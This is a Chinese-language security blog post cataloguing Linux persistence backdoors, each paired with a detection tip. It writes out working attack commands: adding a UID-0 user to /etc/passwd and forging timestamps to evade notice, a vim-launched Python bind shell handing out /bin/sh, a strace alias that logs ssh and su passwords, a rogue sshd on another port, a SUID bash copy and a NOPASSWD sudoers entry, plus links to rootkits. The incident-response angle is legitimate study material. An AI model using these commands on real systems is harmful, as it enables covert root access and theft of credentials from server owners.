<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    linux常見backdoor技術

    VSole2021-09-02 07:33:03

    • 最近遇到一些和后門相關的技術,所以把之前linux backdoor相關筆記重新學習和整理了一下。在這里做一下記錄,后續有時間整理一下windows backdoor方面的技術。
    • 在服務器被入侵后進行應急響應無非通過文件排查、網絡排查、進程排查、系統信息排查等方法進行入侵排查。下面就一些常見留后門技巧以及公開的工具進行剖析介紹。
    • 現在有一些公司在發現入侵之后直接重裝系統,那么基本所有的后門就無法發揮權限維持的作用了,但作為一個安全從業人員還是需要對一些后門有一個基本的了解。

    常見技巧

    添加root權限后門用戶

    • /etc/passwd這個文件包含了系統所有的用戶名、ID、登錄的shell等信息,這個文件是以分號分隔開的,依次是登錄名、密碼、用戶ID、組ID,用戶名、用戶的根目錄以及登錄的shell,其中密碼處可以是x(代表加密,存放在/etc/shadow文件中),也可以直接是加密后的密文,此外用戶uid為0代表用戶會是root的權限,這個時候我們的目標就是在這個文件中追加一條,一個帶有密文且id為0的賬號。
    • 關于密碼加密我們可以使用下面的命令
    #密碼M0rk
    xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). ""'
    AAhmo1jgYI0HE
    
    • 所以我們最終想要在passwd文件中的條目是這個樣子的
    backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
    
    • append the backdoor to passwd file
    echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd
    

    • 注意當我們擁有一個命令執行漏洞或寫文件漏洞且為root權限,這個時候就可以通過這種方法直接添加用戶。且sshd需要允許root用戶遠程登錄,PermitRootLogin yes
    • 另外需要注意的是修改完文件之后記得修改一下文件的時間戳,防止被發現,可以使用touch命令進行偽造 
    • 參考鏈接(https://stackoverflow.com/questions/40630695/linux-modify-file-modify-access-change-time)
    • 優點:簡單
    • 缺點:易被檢測到
    • 排查:檢查/etc/passwd文件是否有異常

    vim后門

    #enter the mal script directory 、execute the script and then remove the script
    cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    
    • 此方法適用于安裝了vim且安裝了python擴展(絕大版本默認安裝)的linux系統,至于惡意腳本dir.py的內容可以是任何功能的后門。如python版本的正向后門監聽11端口。
    #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    from socket import *
    import subprocess
    import os, threading, sys, time
    
    if __name__ == "__main__":
            server=socket(AF_INET,SOCK_STREAM)
            server.bind(('0.0.0.0',11))
            server.listen(5)
            print 'waiting for connect'
            talk, addr = server.accept()
            print 'connect from',addr
            proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                    stdout=talk, stderr=talk, shell=True)
    


    • 優點:通過查看/proc/pid/cmdline查看不到具體執行了什么命令或惡意腳本。
    • 缺點:仍可以看到有vim進程
    • 排查:檢測對應vim進程號虛擬目錄的map文件是否有python字眼。
    • 參考文章Weapons of Text Destruction.(https://github.com/archcloudlabs/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf)

    終端解析\r導致的問題

    echo -e "\r||<                  ';?>" >/var/www/html/test.php
    

    • 優點:通過終端命令例如cat、more等命令查看不到惡意代碼,適合隱藏一句話木馬等。
    • 缺點:易被檢測,只是通過終端命令查看的時候看不到惡意代碼,而通過其它讀文件操作或者通過vim等工具進行編輯查看的時候仍可以查看到惡意代碼。
    • 排查:使用編輯器或者一般的webshell掃描工具即可檢測。

    命令過長導致截斷的問題

    • 在使用ps進行進程查看的時候,不知道有沒有人注意到這樣一個問題,命令很長被截斷,終端顯示有時候為了美觀,可能會截斷較長的命令,比如在使用docker ps -a查看container的時候,可能你的command列會顯示不全,那么使用docker ps -a --no-trunc讓其顯示完全。同樣在使用ps命令查看進程的時候,也存在這種問題。可以在其填充大量的空格進行截斷,那么就可達到“進程隱藏”的效果。
    • 其中使用了xhide工具github地址(https://github.com/chenkaie/junkcode/blob/master/xhide.c)進行進程名的修改。
    • 優點:簡單
    • 缺點:易被檢測到
    • 排查:通過ps -aux|grep 可疑進程的pid 即可顯示完全,或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令進行查看。
    • 這只是進程隱藏的一種方式,此外還有一些其他比較好的進程隱藏的方式,比如掛載覆蓋型的進程隱藏,參考
    • 聊一聊Linux下進程隱藏的常見手法及偵測手段(https://www.anquanke.com/post/id/160843)
    • 反入侵之發現后門利用mount-bind將進程和端口信息隱匿(https://cloud.tencent.com/developer/article/1047347)

    strace記錄ssh登錄密碼

    alias ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
     -e read,write,connect  -s2048 ssh'  
    也可記錄 su密碼 alias su='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
     -e read,write,connect  -s2048 su'
    


    • 優點:改動較小
    • 缺點:易被檢測到
    • 排查:通過排查shell的配置文件或者alias命令即可發現,例如~/.bashrc和~/.bash_profile文件查看是否有惡意的alias問題。(注意bash_profile是在登錄的shell執行的,bashrc是在非登錄的shell執行,即如果你只是想每次在登錄的時候讓它去執行,這個時候你可以把你的命令寫在.bash_profile,如果你想每次打開一個新的終端的時候都去執行,那么應該把命令寫在.bashrc中)。

    常見ssh后門

    • 一種是建立sshd的軟連接方法,開啟其它的端口例如
    ln -sf /usr/sbin/sshd /home/su
    /home/su -oport=2222
    
    • 優點:簡單

    • 缺點:易被檢測到
    • 排查:使用netstat -antlp查看可疑端口,然后ls -l 可執行文件即可。


    • 第二種是通過在openssh源碼中插入惡意代碼重新編譯并替換原有sshd文件。插入的惡意代碼可以是將登錄成功的用戶密碼發送到遠程服務器或者記錄到某個log文件中。
    • 優點:隱蔽性較好
    • 缺點:暫無
    • 排查:這種sshd后門一般可能會有一定的特征,可以通過strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'或者通過strace 查看是否有可疑的寫文件操作。
    • 還有第三種就是創建authorized_keys 實現免密碼登錄的后門,在本地生成公私鑰對,然后將公鑰寫入服務器的authorized_keys文件中,客戶端使用私鑰進行登錄。
    • 優點:簡單
    • 缺點:暫無
    • 排查:查看linux所有用戶.ssh 目錄下是否存在authroieze_keys文件以及文件中的內容

    定時任務和開機啟動項

    • 一般的挖礦木馬喜歡設置定時任務來進行駐留或進行分時段的挖礦。

    • 排查:一般通過crontab -l命令即可檢測到定時任務后門。不同的linux發行版可能查看開機啟動項的文件不大相同,Debian系linux系統一般是通過查看/etc/init.d目錄有無最近修改和異常的開機啟動項。而Redhat系的linux系統一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目錄。

    預加載型動態鏈接庫后門 ld.so.preload

    • 可能有些人不太了解,簡單說一下,就是我們在linux下執行某個可執行文件之前,系統會預先加載用戶定義的動態鏈接庫的一種技術,這個技術可以重寫系統的庫函數,導致發生Hijack。

    • 如上圖所示,strace 命令id的時候可以發現有預先去讀取/etc/ld.so.preload文件(也可使用設置LD_PRELAOD環境變量方式),如果我們將事先寫好的惡意so文件位置寫入ld.so.preload文件,這個時候就會達到“劫持”的效果。
    • 比較好用的工具有Vegile和cub3等
    • Vegile(https://github.com/Screetsec/Vegile/blob/master/Vegile#L112)
    • cub3(https://github.com/mempodippy/cub3),這個工具使用了LD_PRELOAD和系統的擴展屬性去隱藏文件。
    • 更多參考:
    • Linux文件系統擴展屬性
    • 其中還有一種是通過修改動態鏈接器來加載惡意動態鏈接庫的后門,通過替換或者修改動態鏈接器中的默認預加載配置文件/etc/ld.so.preload路徑的rootkit,此方法更加隱蔽,這個方法的較成熟的利用工具是Vlany,github地址https://github.com/mempodippy/vlany
    • 警惕利用Linux預加載型惡意動態鏈接庫的后門(https://www.freebuf.com/column/162604.html)
    • 優點:可以隱藏文件、網絡、進程等。相對于普通用戶空間rootkit而言,隱藏性較好,相對于內核模塊rootkit來說,兼容性更好,編寫難道低
    • 缺點:暫無
    • 排查:通過strace命令去跟蹤預加載的文件是否為/etc/ld.so.preload,以及文件中是否有異常的動態鏈接庫。以及檢查是否設置LD_PRELOAD環境變量等。注意:在進行應急響應的時候有可能系統命令被替換或者關鍵系統函數被劫持(例如通過預加載型動態鏈接庫后門),導致系統命令執行不正常,這個時候可以下載busybox。下載編譯好的對應平臺版本的busybox,或者下載源碼進行編譯通過U盤拷貝到系統上,因為busybox是靜態編譯的,不依賴于系統的動態鏈接庫,busybox的使用類似如下 busybox ls,busybox ps -a。

    提權后門

    *有時候我們需要放一個suid后門來輔助我們提權,比如 cp /bin/bash /bin/nf & chmod +s /bin/nf,這樣我們拿到一個普通權限的shell之后可以通過執行 /bin/nf 提升自己的權限為root

    *此外還可以通過將某個普通用戶添加到sudoers來提權,例如jenkins ALL=(ALL) NOPASSWD: ALL

    • 排查:suid后門查找 find / -perm -4000 ,sudo后門檢查 cat/etc/sudoers
    • ### 進程注入
    • 使用ptrace向進程中注入惡意so文件工具linux-inject,github地址(https://www.freebuf.com/column/162604.html)

    內核級rootkit

    • 內核級的rootkit也很多,這里簡單推薦一個Diamorphine

    github地址(https://github.com/m0nad/Diamorphine)

    • 優點:隱藏性較好
    • 缺點:編寫難度有點兒高
    • 排查:可以通過unhide等工具進行排查

    其他

    • 以上介紹了幾種backdoor的技巧也只是冰山一角,這里拋磚引玉,希望有更多人分享自己的經驗和奇淫技巧,筆者水平有限,文中定有不足之處,還望各位斧正。Write your own backdoor and MAKE BACKDOOR GREAT AGAIN :D


    linux服務器linux系統
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    "請用root用戶執行此腳本!#最近啟動時間?#運行時間(天)?#相同ID的用戶?#密碼過期(天)?#允許root遠程登錄?#僵尸進程數量?#自啟動服務數量?"系統巡檢腳本:Version $VERSION"
    Linux的應用越來越普遍,且絕大多數嵌入式系統都使用的是Linux系統。但近期,黑客對Linux服務器進行DDoS攻擊的次數飆升,受DDoS攻擊影響的有70多個國家,其中77%的攻擊都發生在中國,最容易受攻擊的國家還有法國和荷蘭。黑客主要是利用C&C 服務器來集中管理并執行DDoS攻擊,Linux服務器便成了其主要的攻擊目標。面對如此猖獗的黑客攻擊,Linux服務器如何做好預防工作呢?部署
    假如你想要搭建一個Linux服務器,并且希望可以長期維護的話,就需要考慮安全性能與速度等眾多因素。一份正確的linux基本安全配置手冊就顯得格外重要。#為刪除你系統上的用戶,用下面的命令:[root@c1gstudio]# userdel username#批量刪除方式#這里刪除"adm lp sync shutdown halt mail news uucp operator games gopher ftp "賬號#如果你開著ftp等服務可以把ftp賬號保留下來。for i in adm lp sync shutdown halt mail news uucp operator games gopher ftp ;do userdel $i ;done
    #更改SSH端口,最好改為10000以上,別人掃描到端口的機率也會下降。防火墻要開放配置好的端口號,如果是阿里云服務器,你還需要去阿里云后臺配置開發相應的端口才可以,否則登不上哦!如果你覺得麻煩,可以不用改。#禁用版本1協議, 因為其設計缺陷, 很容易使密碼被黑掉。關鍵在于環境變量的不同,su -的環境變量更全面。#禁止空密碼登陸。保存,用 uusama 賬戶登錄后,直接獲取的就是 root 帳號的權限。
    Linux是一種開源操作系統,它支持各種硬件平臺,Linux服務器全球知名,它和Windows之間最主要的差異在于,Linux服務器默認情況下一般不提供GUI(圖形用戶界面),而是命令行界面,它的主要目的是高效處理非交互式進程,響應時間并不是那么重要,相反,能夠長時間處理高負載才是最關鍵的。
    當企業發生網絡安全事件時,急需第一時間進行處理,使企業的網絡信息系統在最短時間內恢復正常工作,同時還需進一步查找入侵來源,還原入侵事故過程,給出解決方案與防范措施,為企業挽回或減少經濟損失。 常見的網絡安全事件:
    SSH 是一種廣泛使用的協議,用于安全地訪問 Linux 服務器。但是,不安全的默認配置也會帶來各種安全風險。具有開放 SSH 訪問權限的服務器的 root 帳戶可能存在風險。因此,有必要了解 SSH 安全性。這是在 Linux 上保護 SSH 服務器連接的方法。關閉 root 用戶的服務器訪問是一種防御策略,可以防止攻擊者實現入侵系統的目標。例如,您可以創建一個名為exampleroot的用戶,如下所示:useradd?
    如果你的Linux服務器突然負載暴增,告警短信快發爆你的手機,如何在最短時間內找出Linux性能問題所在?來看Netflix性能工程團隊的這篇博文,看它們通過十條命令在一分鐘內對機器性能問題進行診斷。概述 通過執行以下命令,可以在1分鐘內對系統資源使用情況有個大致的了解。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类